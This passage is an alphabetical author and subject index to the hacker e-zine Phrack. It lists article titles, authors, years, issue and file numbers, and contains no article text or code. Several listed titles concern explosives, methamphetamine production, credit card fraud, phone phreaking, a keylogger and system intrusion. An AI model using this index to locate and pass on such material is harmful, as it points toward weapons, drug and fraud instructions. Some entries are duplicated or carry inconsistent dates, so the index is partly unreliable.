"DIALOG Information Network" 1992. I39 F5 43k
Brigadier General Swipe authored
"An Introduction to MILNET" 1991 I34 F7 8k
Bruce Sterling authored
"Phrack World News Special Edition IV" (CyberView '91) 1991. I33 F10 28k
"BT Tymnet, Part 1/3" by Toucan Jones. 1992. I40 F8 57k
"BT Tymnet, Part 2/3" by Toucan Jones. 1992. I40 F9 55k
"BT Tymnet, Part 3/3" by Toucan Jones. 1992. I40 F10 91k
"Building a Shock Rod" by Circle Lord. 1986. I3 F8 3k
"Busy Line Verification" by Phantom Phreaker. 1987. I11 F10 10k
"Busy Line Verification Part II" by Phantom Phreaker. 1987. I12 F8 9k
Butler authored
"The Art of Investigation" 1990. I32 F4 18k
"A Beginners Guide to Novell Netware 386" 1991. I35 F8 84k

** C **

CABLE
"A Guide To Porno Boxes" By Carl Corey. 1994. I46 F10 13k

Caligula XXI authored
"Mall Cop Frequencies" 1992. I41 F10 11k
"Can You Find Out If Your Telephone is Tapped?" by Fred P. Graham and VaxCat
1989. I23 F9 20k
Cap'n Crax authored
"The TMC Primer" 1987. I10 F3 6k

CARDING
"Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
"Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k
"Card-O-Rama:Magnetic Stripe Technology and Beyond" by Count Zero. 1992.
I37 F6 44k
"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
"Safe and Easy Carding" by Vaxbuster. 1993. I44 F20 18k
"VisaNet Operations Part I" by Ice Jey. 1994. I46 F15 50k
"VisaNet Operations Part 2" by Ice Jey. 1994. I46 F16 44k

"Card-O-Rama:Magnetic Stripe Technology and Beyond" by Count Zero. 1992.
I37 F6 44k

CARD GAMES
"How To Hack Blackjack Part I" by Lex Luthor. 1993. I43 F9 52k
"How To Hack Blackjack Part II" by Lex Luthor. 1993. I43 F10 50k

Carl Corey authored
"A Guide To Porno Boxes" 1994. I46 F10 13k
Carrier Culprit authored
"Hacking DEC's" 1986. I5 F3 23k
The Cavalier authored
"How to Build a DMS-10 Switch" 1992 I41 F7 23k
"Introdcution to Telephony and PBX Systems" 1996. I49 F5 100k

```
"Cellular Debug Mode Commands" by Various Sources. 1994. I45 F26 13k
"Cellular Info" by Madjus(N.O.D.). 1993. I43 F17 47k
"Cellular Spoofing by Electronic Serial Numbers" by Author Unknown.
 1985. I11 F9 submitted by Amadeus
"Cellular Telephones" by High Evolutionary. 1986. I6 F7 5k
"Cellular Telephony" by Brian Oblivion. 1992. I38 F9 28k
"Cellular Telephony Part II" by Brian Oblivion. 1992. I40 F6 72k

CELLULAR TELEPHONY
   "Air Fone Frequencies" by Leroy Donnelly. 1992 I39 F8 14k
   "Cellular Debug Mode Commands" by Various Sources. 1994. I45 F26 13k
   "Cellular Info" by Madjus(N.O.D.). 1993. I43 F17 47k
   "Cellular Spoofing by Electronic Serial Numbers" by ?. 1985. I11 F9
      submitted by Amadeus
   "Cellular Telephones" by High Evolutionary. 1986. I6 F7 5k
   "Cellular Telephony" by Brian Oblivion. 1992. I38 F9 28k
   "Cellular Telephony Part II" by Brian Oblivion. 1992. I40 F6 72k
   "Mobile Telephone Communications" by Phantom Phreaker. 1986. I5 F9 11k
   "Motorola Command Mode Information" by Cherokee. 1996. I48 F6 38k
   "Tandy/Radio Shack Cellular Phones" by Damien Thorn. 1996. I48 F7 43k

"Centrex Renaissance" by Jester Sluggo. 1986. I4 F7 17k
"Centigram Voice Mail System Consoles" by >Unknown User<. 1992. I39 F6 36k
Charlie X authored
        "Screwing Over Your Local McDonalds" 1994. I45 F19. 20k
Cheap Shades authored
        "Boot Tracing" 1985. I1 F3 8k
        Introduction/Index for I3 F1
   co-authored
        "Welcome to Metal Shop Private" 1988. I20 F4 37k
Cherokee authored
        "Motorola Command Mode Information" 1996. I48 F6 38k
Chief Executive Officers co-authored
        "Basic Concepts of Translation" 1989. I29 F6 12k
Crimson Flash authored
        "The Fine Art of Telephony" 1992. I40 F7 65k
Chris Goggans authored
        "Packet Switched Network Security" 1992. I42 F4 22k
Chris Goggens was Pro-Philed in 1991. I35 F3 20k
Chris Hibbert of CPSR authored
        "Social Security Numbers & Privacy" 1991. I35 F6 13k
Circle Lord authored  "Building a Shock Rod" 1986. I3 F8 3k
        "Eavesdropping" 1986. I3 F7 3k
"Circuit Switched Digital Capability" by The Executioner. 1987. I10 F5 12k
"City-Wide Centrex" by The Executioner. 1986. I8 F3 14k
cjml authored
        "Steganography Improvement Proposal" by cjml. 1996. I49 F10 6k
The Clashmaster authored
        "How to Make Acetylene Bombs" 1985. I1 F7 4k
Co/Dec authored
        "Physical Access and Theft of PBX Systems" 1993. I43 F15 28k
        "Fraudulent Applications of 900 Services" 1994. I45 F18 15k
CODES
   "MCI International Cards" by Knight Lightning. 1985. I1 F5 3k

Compaq Disk(Crimson Death) co-authored
        "Introduction to Diet Phrack" 1991. I36. F1 8k
"The Complete Guide to Hacking WWIV" by Inhuman. 1991 I34 F5 20k
"The Complete Guide to Hacking Meridian Voice Mail" by Substance. 1995.
 I47 F15 10k
"CompuServe Info" by Morgoth and Lotus. 1986. I8 F6 8k
"The CompuServe Case" by Electronic Frontier Foundation. 1992. I37 F9 6k
"Computer-Based Systems for Bell System Operation" by Taran King. 1989.
 I20 F2
"Computer Hackers Follow a Guttman-Like Progression" by Richard C. Hollinger
 1988. I22 F7 10k
"Concerning Hackers Who Break Into Computer Systems" by Dorthy Denning. 1990.
 I32 F3
"Conference News Part I" by Various Sources. 1993. I43 F7 53k
"Conference News Part II" by Various Sources. 1993. I43 F8 58k
```

```
"Conference News Part I" by Various Sources. 1993. I44 F6 55k
"Conference News Part II" by Various Sources. 1993. I44 F7 35k
"Conference News Part III" by Various Sources. 1993. I44 F8 50k
"The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
"Consensual Realities in Cyberspace" by Paul Saffo. 1989. I30 F8 11k
"Content-Blind Cancelbot" by Dr. Dimitri Vulis. I49 F9 40k
"Control Office Administration of Enhanced 911 Service" by The Eavesdropper.
 1989. I24 F6 12k
Control C authored
        "Digital Multiplexing Systems (Part 2)" 1988. I19 F3 18k
        "Inside Dialog" 1986. I9 F5 8k
        "Loop Maintenance Operating System" 1988. I18 F8 32k
        "TRW Business Terminology" 1987. I14 F6 5k
        "Understanding The Digital Multiplexing Systems (DMS)" 1987. I12 F4 19k
        "Understanding DMS Part II" 1987. I14 F5 18k
        "Computerists Underground News Tabloid - CUNT" by Crimson Death. 1987.
         I13 F8 11k
Control C was Pro-Philed in 1994. I44 F7 22k

COSMOS
   "COSMOS: COmputer System for Mainfrmae OperationS (Part One)" by
    King Arthur. 1989. I26 F5 13k
   "COSMOS: COmputer System for Mainframe OperationS (Part Two)" by
    King Arthur. 1989. I27 F5 12k
   "Cosmos Overview" by EBA. 1990. I31 F6 52k

"COSMOS: COmputer System for Mainframe OperationS (Part One)" by King Arthur.
 1989. I26 F5 13k
"COSMOS: COmputer System for Mainframe OperationS (Part Two)" by King Arthur.
 1989. I27 F5 12k
Cosmos Kid authored
        "A Hacker's Guide to Primos: Part 1" 1987. I16 F3 11k
"Cosmos Overview" by EBA. 1990. I31 F6 52k
Count Zero authored
        "Card-O-Rama:Magnetic Stripe Technology and Beyond" 1992. I37 F6 44k
        "Phrack World News:Special Report VI on WeenieFest'92" 1992 I37 F10 14k
        "HoHoCon" 1995. I48. F11 33k
"Covert Paths" by Cyber Neuron Limited and SynThecide. 1989. I29 F5 4k

CRACKING (of software)
   "Boot Tracing" by Cheap Shades. 1985. I1 F3 8k

"Cracking NT Passwords" by Nihil. 1997. I50 F8 17k
"The Craft Acces Terminal" by Boss Hogg. 1996. I48 F8 36k
"Crashing DEC-10's" by The Mentor. 1986. I4 F6 5k

CREDIT BUREAUS
   "Hacking Chilton's Credimatic" by Ryche. 1986. I7 F4 8k
   "Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
   "TRW Business Terminology" by Control C. 1987. I14 F6 5k

"Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k

CREDIT CARDING
(see also CREDIT BUREAUS, CARDING)
   "Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
   "Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k
   "The Postal Inspection Service" by Vendetta. 1989. I27 F9 14k

Crimson Death was Pro-Philed in 1986. I4 F1
Crimson Death (713) authored
        "Computerists Underground News Tabloid - CUNT" 1987. I13 F8 11k
        Introduction/Index for I18-19,32,34,35(co-authored) F1
        "Phrack Classic Spotlight featuring Knight Lightning" 1990. I32 F2 32k
        "Phrack Pro-Phile on Ax Murderer" 1988. I18 F2 4k
        "Phrack Pro-Phile on Shooting Shark" 1991 I33 F2 16k
        "Phrack World News" 1991. I33 F11 18k
         "RSTS" 1990. I32 F9 23k
   co-authored
        Introduction/Index for I18-19,32,34,35 F1
```

"CSDC II - Hardware Requirements" by The Executioner. 1987. I12 F6 8k

CULTURE (of hacking)
(See also International Scenes, Phrack World News, Phrack Pro-Phile)
"10th Chaos Computer Congress" by Manny E. Farber. 1994. I45 F13 23k
"The ABCs of Better Hotel Staying" by Seven Up. 1994. I46 F25 12k
"Acronyms [from Metal Shop Private BBS]" 1988. I20 F11 43k
"Are You a Phone Geek" by Doom Prophet. 1987. I13 F7 9k
"Big BroTher Online" by Thumpr (Special thanks to Hatchet Molly). 1989. I23 F10
"Concerning Hackers Who Break Into Computer Systems" by Dorthy Denning. 1990. I32 F3 60k
"Computer Hackers Follow a Guttman-Like Progression" by Richard C. Hollinger. 1988. I22 F7 10k
"Computerists Underground New Tabloids - CUNT" by Crimson Death. 1987. I13 F8 11k
"The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
"Cyber Christ Meets Lady Luck Part I" by Winn Schwartau. 1994. I46 F19 45k
"Cyber Christ Meets Lady Luck Part II" by Winn Schwartau. 1994. I46 F20 42k
"Cyber Christ Bites The Big Apple" by Winn Schwartau. 1994. I46 F23 60k
"Defcon Information" by Various Sources. 1995. I47 F9 28k
"Defcon II Information" by Various Sources. 1994. I45 F14 26k
"*ELITE* Access" by Dead Lord and Lord Digital(Lords Anonymous!). 1991. I36 F5 43k
"The Freedom of Information Act and You" by Vince Niel. 1992. I42 F12 42k
"The Groom Lake Desert Rat" by PsychoSpy. 1994. I46 F21 44k
"Hacker's Manifesto" by The Mentor. 1986. I7 F3 4k
"The History of The Legion of Doom" 1990. I31 F5 10k
"HoHoCon" by Netta Gilboa. 1995. I47. F10 30k
"HoHoCon" by Count Zero. 1995. I48. F11 33k
"HoHoCon"(review) by Various Sources. 1992. I42 F13 51k
"HoHoCon Miscellany" by Various Sources. 1994. I45 F11 32k
"HoHoCon Miscellany" by Various Sources. 1995. I47 F12 33k
"Hollywood-Style Bits & Bytes" by Richard Goodwin. 1994. I45 F17 50k
"HOPE" by Erik Bloodaxe. 1994. I46 F22 51k
"How to Fuck Up The World - A Parody" by Thomas Covenant. 1987. I13 F3 10k
"The Judas Contract (Part 2 of The Vicious Circle Trilogy)" by Knight Lightning. 1988. I22 F3 26k
"LODCOM BBS Archive Info" by LOD. 1993. I43 F18 24k
"LOD Communications BBS Archive Information" by LOD. 1993. I44 F22 29k
"The Legion of Doom & The Occult" by LOD and Demon Seed Elite. 1991 I36 F6 24k
"LODCOM Sample Messages" by LOD. 1993. I43 F19 52k
"The Making of a Hacker" by Framstag. 1989. I27 F7 9k
"Metal/General Discussion [from Metal Shop Private BBS]" 1988. I20 F5 66k
"New Users [from Metal Shop Private BBS]" 1988. I20 F9 17k
"The Open Barn Door" by Douglas Walter(Newsweek). 1992. I39 F9 11k
"Phrack Editorial on Microbashing" by The Nightstalker. 1988. I19 F6 6k
"Phrack Inc./Gossip [from Metal Shop Private BBS]" 1988. I20 F6 56k
"Phreak/Hack Sub [from Metal Shop Private BBS]" 1988. I20 F7 46k
"Phreaks in Verse" by Sir Francis Drake. 1987. I13 F5 3k
"Preview to Phrack 13-The Life & Times of The Executioner" 1987. I12 F3 5k
"R.A.G. - Rodents are Gay" by Evil Jay. 1987. I13 F6 6k
"Radio Free Berkley Information" 1994. I45 F24 35k
"RAGS - The Best of Sexy Exy" 1987. I13 F9 19k
"Real Cyberpunks" by The Men From Mongo. 1991 I36 F9 13k
"The Royal Court [from Metal Shop Private BBS]" 1988. I20 F10 3k
"Scan Man's Rebuttal to Phrack World News" by Scan Man. 1987. I12 F9 17k
"Searching for speciAL acceSs agentS" by Dr. Dude. 1991. I36 F7 18k
"The Senator Markey Hearing Transcripts" by >Unknown User<. I45 F20 72k
"Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" by Knight Lightning. 1988. I21 F3 26k
"Social Engineering [from Metal Shop Private BBS]" 1988. I20 F8 19k
"Subdivisions (Part 3 of The Vicious Circle Trilogy)" by Knight Lightning 1989. I23 F3 17k
"SummerCon 1992" by Knight Lightning and Dispater. 1992. I40 F11 35k
"The Truth...and Nothing but the Truth" by Steve Fleming. 1996. I48 F16 19k
"Timeline Featuring Taran King, Knight Lightning, Cheap Shades" 1988. I20 F3 3k
"A Trip to The NCSC" by Knight Lightning. 1990. I32 F7 16k

"Welcome to Metal Shop Private" by Taran King, Knight Lightning, and Cheap Shades. 1988. I20 F4 37k

"Cyber Christ Meets Lady Luck Part I" by Winn Schwartau. 1994. I46 F19 45k
"Cyber Christ Meets Lady Luck Part II" by Winn Schwartau. 1994. I46 F20 42k
"Cyber Christ Bites The Big Apple" by Winn Schwartau. 1994. I46 F23 60k
Cyber Neuron Limited co-authored
"Covert Paths" 1989. I29 F5 4k

** D **

daemon9 authored
"IP-Spoofing Demystified" 1996. I48 F13 25k
"Netmon" 1996. I48 F15 21k
"Project Hades: TCP Weakness" 1996. I49 F7 38k
"Project Neptune" 1996. I48 F13 52k
co-authored
"Project Loki: ICMP Tunneling" 1996. I49 F7 38k
daemon9 was Pro-Philed in 1996. I48 F5 23k
Damien Thorn authored
"Tandy/Radio Shack Cellular Phones" 1996. I48 F7 43k
Dark Overlord authored
"Sending Fakemail in Unix" 1989. I27 F8 2k
"Snarfing Remote Files" 1989. I28 F6 5k
"Unix Cracking Tips" 1989. I25 F5 14k
Data Line authored
"Hacking RSTS". 1985. I2 F8 4k
"Ring Back Codes for The 314 NPA" 1985. I4 F2 1k
"Signalling Systems Around The World" 1986. I3 F4 2k
"Datapac" by Synapse. 1993. I44 F21 36k
Data Stream Cowboy authored
"Network Miscellany IV" 1992 I38 F5 30k
"Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
"Phrack World News" Parts 1-3 1992. I40 F12-14 50,48,48k
"Phrack World News" Parts 1-3 1992. I41 F11-13 46,49,43k
"Phrack World News" 1992. I42 F14 29k
"Phrack World News" 1993. I43 F27 24k
"Phrack World News" 1993. I44 F27 22k
"Phrack World News" 1994. I45 F28 17k
"Phrack World News" 1994. I46 F28 38k
"Phrack World News" 1995. I47 F22 38k
"Phrack World News" 1996. I48 F18 21k
co-authored
"Phrack World News" Parts 1-3 1992. I38 F13-15 34,32,33k
"Phrack World News" Parts 1-4 1992. I39 F10-13 30,27,29,29k

"Data Tapping Made Easy" by Elric of Imrryr. 1988. I17 F9 4k
"A Day in The Life of a Warez Broker" by Xxxx Xxxxxxxx. 1995. I47 F20 13k
"DBA Primer from American Hacker Magazine" 1995. I47 F16 45k
"DCL BBS Program" by Raoul. 1994. I45 F16 23k
"DCL Utilities for VMS Hackers" by The Mentor. 1988. I19 F2 23k
"DCO Operating System" by mrnobody. 1997. I50 F14 16k
Dcypher wrote
"Key Trap v1.0 Keyboard Key Logger" 1994. I46 F26 35k
Dead Cow co-authored
"Advanced Modem Oriented BBS Security" 1991. I34 F9 11k
Dead Lord co-authored
"Basic Concepts of Translation" 1989. I26 F6 20k
"*ELITE* Access" 1991. I36 F5 43k

DEC (DECnets and oTher DECs)
"Crashing DEC-10's" by The Mentor. 1986. I4 F6 5k
"DECnet Hackola : Remote Turist TTY (RTT)" by *Hobbit*. 1989. I30 F6 6k
"Hacking DEC's" by Carrier Culprit. 1986. I5 F3 23k
"Looking Around in DECnet" by Deep Thought. 1989. I27 F6 14k
"Multi-User Chat Program for DEC-10's" by TTY-Man and The Mentor. 1986. I9 F7 7k

```
"Decnet Hackola : Remote Turist TTY (RTT)" by *Hobbit*. 1989. I30 F6 6k
"The DECWRL Mail Gateway" by Dedicated Link. 1989. I30 F5 23k
Dedicated Link authored
        "The DECWRL Mail Gateway" 1989. I30 F5 23k
        "Network Progression" 1989. I24 F10 5k
Deep Thought authored
        "Looking Around in DECnet" 1989. I27 F6 14k
"Defcon Information" by Various Sources. 1995. I47 F9 28k
"Defcon II Information" by Various Sources. 1994. I45 F14 26k
Demon Seed Elite co-authored
        "The Legion of Doom & The Occult" 1991. I36 F6 24k
"Dial-Back Modem Security" by Elric of Imrryr. 1988. I17 F8 9k
"DIALOG Information Network" by Brian Oblivion. 1992. I39 F5 43k
"Digital Multiplexing Systems (Part 2)" by Control C. 1988. I19 F3 18k
"Diet Phrack Loopback" by Phrack Staff. 1991. I36 F2 14k
"The Digital Telephony Proposal" by The FBI. 1992. I38 F11 34k
The Disk Jockey authored
        "Advanced Carding XIV" 1987. I15 F4 12k
        "Getting Caught: Legal Procedures" 1989. I26 F3 12k
        "Reading Trans-Union Credit Reports" 1987. I16 F7 6k
        "Phrack Pro-Phile on The Disk Jockey"(co-authored) 1991. I34 F3 23k
The Disk Jockey was Pro-philed 1991. I34 F3 23k
Dispater authored
        "A Real Functioning PEARL BOX Schematic" 1989. I28 F5 5k
        "Beating The Radar Rap Part 1/2" 1992. I27 F5 12k 44k
        "Beating The Radar Rap Part 2/2" 1992. I28 F6 5k 15k
        Introduction/Index I37,I38,40,41 F1
        "Phrack Pro-Phile on Aristotle" 1992. I38 F3 6k
        "Phrack Pro-Phile on Shadow Hawk 1" 1992. I39 F3 8k
        "Phrack World News" 1991. I33(F12,13 28/25k) I34(F10,11 14/19k)
         I35(F10-13 27,31,34,27k)
   co-authored
        "Phrack Loopback" 1992. I40 F2 50k
        "Phrack Loopback" 1992. I41 F2 52k
        "Phrack Pro-Phile on The Disk Jockey" 1991. I34 F3 23k
        "Phrack World News" Parts 1-4 1992. I37 F11-14 31,30,29,31k
        "Phrack World News" Parts 1-3 1992. I38 F13-15 34,32,33k
        Introduction/Index 29,I33,34 F1
        "SummerCon 1992" 1992. I40 F11 35k
Disorder authored
        "Phrack World News" 1996. I49 F16 109k
"DMS-100" by Knight Lightning. 1986. I5 F5 8k
Doc Holiday authored
        "Hacking Rolm's CBXII" 1990. I31 F3 15k
        Introduction/Index for I31 F1
        "Knight Line I/Parts 1-3" 1990. I32 F10 47k-12
Docter Who was Pro-Philed in 1993. I43 F6 15k
Doom Prophet authored
        "Are You a Phone Geek?" 1987. I13 F7 9k
        "Telephone Signalling Methods" 1987. I11 F8 8k
        "The Total Network Data System" 1987. I12 F5 13k
   co-authored
        "Automatic Number Identification" 1987. I10 F7 9k
        "Loop Maintenance Operations System" 1986. I9 F9 17k
Dorthy Denning authored
        "Concerning Hackers Who Break Into Computer Systems" 1990. I32 F3 60k
Double Helix co-authored
        "How to Build a Paisley Box" 1987. I13 F4 5k
Douglas Walter(Newsweek) authored
        "The Open Barn Door" 1992. I39 F9 11k
Dr. BOB authored
        "A Guide to British Telecom's Caller ID Service" 1995. I47 F19 31k
Dr. Crash authored
        "The Technical Revolution" 1986. I6 F3 4k
Dr. Delam authored
        "The MCX7700 PABX System" 1994. I45 F25 22k
   co-authored
        "Gettin' Down 'N Dirty Wit Da GS/1" 1994. I46 25k
Dr. Dimitri Vulis authored
```

"Content-Blind Cancelbot" I49 F9 40k
Dr. Doom authored
"The Integrated Services Digital Network" 1986. I8 F4 18k
Dr. Dude(Dispater) co-authored
"Introduction to Diet Phrack" 1991. I36. F1 8k
"Searching for speciAL acceSs agentS" 1991. I36 F7 18k
"Elite World News" I36 F10,11 23/26k
Dr. No-Good authored
"Basic Commands for The VOS System" 1992. I37 F8 10k

DRUGS
"The Tried and True Home Production Method for Methamphetamine" by The Leftist. 1986. I4 F8 7k

"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
"Dun & Bradstreet Report on AT&T" submitted by Elric of Imrryr. 1988. I17 F2 24k
"Dun & Bradstreet Report on Pacific Telesis" submitted by Elric of Imrryr. 1988. I17 F3 26k

** E **

The Eavesdropper authored
"Control Office Administration of Enhanced 911 Service" 1989. I24 F5 22k
"Glossary Terminology for Enhanced 911 Service" 1989. I24 F6 12k
"Eavesdropping" by Circle Lord. 1986. I3 F7 3k
EBA authored
"Cosmos Overview" 1990. I31 F6 52k
The Editor(s) authored
Introduction/Index I42 F1 14k
Introduction/Index I43 F1 24k
Introduction/Index I44 F1 16k
Introduction/Index I45 F1 17k
Introduction/Index I46 F1 17k
Introduction/Index I47 F1 16k
Introduction/Index I48 F1 13k
Introduction/Index I49 F1 7k
Introduction/Index I50 F1 9k
"Sara Gordon -vs- Kohntark Part I" 1993. I44 F11 12k
"Sara Gordon -vs- Kohntark Part II" 1993. I44 F12 47k

Electronic Frontier Foundation authored
"The CompuServe Case" by Electronic Frontier Foundation. 1992. I37 F9 6k
"Electronic Telephone Cards(Part 1)" by Stephane Bausson. 1996. I48 F10 39k
"Electronic Telephone Cards(Part 2)" by Stephane Bausson. 1996. I48 F11 66k
"*ELITE*" Access by Dead Lord and Lord Digital(Lords Anonymous!). 1991. I36 F5 43k
"Elite World News" br Docter Dude I36 F10,11 23/26k
Elric of Imrryr authored
"A Beginner's Guide to The IBM VM/370" 1987. I10 F4 4k
"Data Tapping Made Easy" 1988. I17 F9 4k
"Dial-Back Modem Security" 1988. I17 F8 11k
"Gelled Flame Fuels" 1987. I15 F5 12k
Introduction/Index of I16 F1 2k
submitted
"Dun & Bradstreet Report on AT&T" 1988. I17 F2 24k
"Dun & Bradstreet Report on Pacific Telesis" 1988. I17 F3 26k
Emmanuel Goldstein authored
"No Time for Goodbyes" 1994. I45 F9 21k
Emmanuel Goldstein was Pro-Philed in 1989. I29 F2 16k
Epsilon authored
"An Introduction to Packet Switched Networks" 1988. I18 F3 12k
"Phrack World News" 1988. I18 F10-11 I19 F8
Epsilon co-authored
"Phrack World News" 1988. I21 F10 22k-11
Equal Axis authored
"OTher Common Carriers; A List" 1989. I28 F7 8k

```
Erik Bloodaxe authored
        "The Wonderful World of Pagers" 1994. I46 F8
        "HOPE" 1994. I46 F22 51k
Erik Bloodaxe was Pro-Philed in 1989. I28 F2 15k
Erudite authored
        "AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k
Evil Jay authored
        "Hacking : OSL Systems" 1987. I12 F7 9k
        "Hacking Primos I, II, III" 1987. I11 F7 7k
        "Hacking Primos Part I" 1987. I10 F6 11k
        "R.A.G. - Rodents are Gay" 1987. I13 F6 6k
The Executioner
        "Preview to Phrack 13-The Life & Times of The Executioner" 1987.
         I12 F3 5k
The Executioner authored
        "Circuit Switched Digital Capability" 1987. I10 F5 12k
        "City-Wide Centrex" 1986. I8 F3 14k
        "CSDC II - Hardware Requirements" 1987. I12 F6 8k
        "PACT: Prefix Access Code Translator" 1987. I11 F3 8k
        "Plant Measurements" 1986. I9 F6 13k
"Exploring Information-America" by The Omega & White Knight. 1992. I37 F4 51k

EXPLOSIVES
   "Bolt Bombs" by The Leftist. 1986. I5 F6 3k
   "Gelled Flame Fuels" by Elric of Imrryr. 1987. I15 F5 12k
   "How to Make an Acetylene Bomb" by The Clashmaster. 1985. I1 F7 4k
   "How to Make TNT" by The Radical Rocker. 1986. I7 F6 2k
   "Making Shell Bombs" by Man-Tooth. 1986. I3 F3 3k
   "Nitrogen-Trioxide Explosive" by Signal Substain. 1988. I17 F4 7k
   "Smoke Bombs" by Alpine Kracker. 1986. I6 F6 2k

"extract.c" by Phrack Staff. 1997. I50 F16 2k


                                  ** F **


"Facility Assignment & Control Systems" by Phantom Phreaker. 1988. I19 F5 11k
"False Identification" by Forest Ranger. 1986. I4 F3 3k
Federal Bureau of Investigations(FBI) authored
        "The Digital Telephony Proposal" 1992. I38 F11 34k
"FEDIX On-Line Information Service" by Fedix Upix. 1991 I33 F4 12k
Fedix Upix authored "Fedix On-line Information Service" 1991 I33 F4 12k
"A Few Things About Networks" by Prime Suspect. I18 F9 21k
"The fingerd Trojan Horse" by Hitman Italy. 1994. I46 F12 32k
Firm G.R.A.S.P. authored
        "Acronyms Part I" 1993. I43 F21 50k
        "Acronyms Part II" 1993. I43 F22 51k
        "Acronyms Part III" 1993. I43 F23 45k
        "Acronyms Part IV" 1993. I43 F24 52k
        "Acronyms Part V" 1993. I43 F25 46k
        "Guide to 5ESS" 1993. I43 F16 63k
The Fixer wrote
        "Box.exe for SoundBlasters"<unencoded> 1994. I45 F22 13k
"The Fone Phreak's Revenge" by Iron Soldier. 1985. I1 F4 4k
Forest Ranger authored
        "False Identification" 1986. I4 F3 3k
        "Prevention of The Billing Office Blues" 1985. I2 F2 1k
        "Fortell Systems" by Phantom Phreaker. 1986. I3 F6 3k
        "Foundations on The Horizon; Chapter Two of FTSaga" by Knight Lightning.
         1989. I23 F5 27k
Framstag authored
        "The Making of a Hacker" 1989. I27 F7 9k
"Fraudulent Applications of 900 Services" by Co/Dec. 1994. I45 F18 15k
Fred P. Graham co-authored
        "Can You Find Out If Your Telephone is Tapped?" 1989. I23 F9 20k
"The Freedom of Information Act and You" by Vince Niel. 1992. I42 F12 42k
"Frontiers; Chapter Four of FTSaga" by Knight Lightning. 1989. I24 F4 25k
"Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
"Fun With The Centagram VMS Network" by Oryan Quest. 1986. I9 F3 4k
```

```
"Fun With Lighters" by The Leftist. 1986. I6 F4 2k
"Future Trancendent Saga Index A" from The BITNET Services Library. 1989.
 I23 F6 14k
"Future Trancendent Saga Index B" from The BITNET Services Library. 1989.
 I23 F7 17k
FyberLyte authored
        "NorThern Telecom's FMT-150B/C/D" 1993. I44 F13 16k


                                       ** G **


"Gail Takes a Break" <unencoded .gif> 1993. I44 F25 49k
Gatsby authored
        "A Hackers Guide to The Internet" 1991. I33 F3 45k
G.Tenet authored
        "Useful Commands for The TP3010 Debug Port" 1992. I42 f7 28k
"Gelled Flame Fuels" by Elric of Imrryr. 1987. I15 F5 12k
"Getting Caught: Legal Procedures" by The Disk Jockey. 1989. I26 F3 12k
"Gettin' Down 'N Dirty Wit Da GS/1" By Maldoror & Dr. Delam. 1994. I46 25k
"Getting Serious About VMS Hacking" by VAXBusters International. 1989.
 I23 F8 13k
G. Gilliss authored
        "Introduction to CGI and CGI vulnerabilities" 1996. I49 F8 12k
Gin Fizz co-authored
        "How to Pick Master Locks" 1985. I1 F6 2k
"The Glenayre GL3000 Paging and Voice retrieval System" by Armitage. 1995.
 I47 F14 25k
"Glossary Terminology for Enhanced 911 Service" by The Eavesdropper. 1989.
 I24 F6
Goe authored
        "Hacking VM/CMS" 1989. I30 F4 58k
Grey Sorcerer authored
        "How to Hack Cyber Systems" 1988. I17 F5 23k
        "How to Hack HP2000's" 1988. I17 F6 3k
Grimace authored
        "Phrack Pro-Phile on Computer Cop" 1993. I43 F5 22k
"The Groom Lake Desert Rat" by PsychoSpy. 1994. I46 F21 44k
"Guide to 5ESS" by Firm G.R.A.S.P.. 1993. I43 F17 63k
"A Guide to British Telecom's Caller ID Service" by Dr. BOB 1995. I47 F19 31k
"Guide to Data General's AOS/VS Part I" by Herd Beast. 1993. I44 F14 46k
"Guide to Data General's AOS/VS Part II" by Herd Beast. 1993. I44 F15 30k
"Guide to Encryption" by The Racketeer[HFC]. 1992. I42 F11 32k
"A Guide To Porno Boxes" By Carl Corey. 1994. I46 F10 13k


                                      ** H **


"The #hack FAQ (Part 1)" by Voyager. 1995. I47 F5 39k
"The #hack FAQ (Part 2)" by Voyager. 1995. I47 F6 38k
"The #hack FAQ (Part 3)" by Voyager. 1995. I47 F7 51k
"The #hack FAQ (Part 4)" by Voyager. 1995. I47 F8 47k
"A Hacker's Guide to Primos: Part 1" by Cosmos Kid. 1987. I16 F3 11k
"Hacker's Manifesto" by The Mentor. 1986. I7 F3 4k

HACKING
(See also BANK FRAUD, COSMOS, CRACKING, CREDIT BUREAUS, CULTURE, DEC, HP,
 Phrack Pro-Phile, Phrack World News, PHREAKING, PRIMOS, RSTS, UNIX, VAX/VMS,
 VM/CMS, VOICE MAIL, WIDE AREA NETS (Internet,BITNET,ArpaNet,Usenet,UUCP,etc),
 X.25 NETS (Telenet, Tymnet,etc.)
   "25th Anniversary Index [of Phrack]" by Taran King, Knight Lightning and
      friends. 1989. I25 F2 15k
   "Accessing Government Computers" by The Sorceress. 1988. I17 F7 9k
   "An Introduction to The DecServer 200" by Opticon. 1993. I44 F22 16k
   "The Art of Investigation" by Butler. 1990. I32 F4 18k
   "AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k
   "Basic Concepts of Translation" by The Dead Lord and Chief Executive
      Officers. 1989. I26 F6 20k
   "BELLCORE Information" by The Mad Phone-Man. 1987. I16 F2 11k
   "Cracking NT Passwords" by Nihil. 1997. I50 F8 17k
   "CompuServe Info" by Morgoth and Lotus. 1986. I8 F6 8k
   "CSDC II - Hardware Requirements" by The Executioner. 1987. I12 F6 8k
   "Datapac" by Synapse. 1993. I44 F21 36k
   "Data Tapping Made Easy" by Elric of Imrryr. 1988. I17 F9 4k
   "DBA Primer from American Hacker Magazine" 1995. I47 F16 45k
   "Dial-Back Modem Security" by Elric of Imrryr. 1988. I17 F8 11k
   "The fingerd Trojan Horse" by Hitman Italy. 1994. I46 F12 32k
   "Getting Caught: Legal Procedures" by The Disk Jockey. 1989. I26 F3 12k
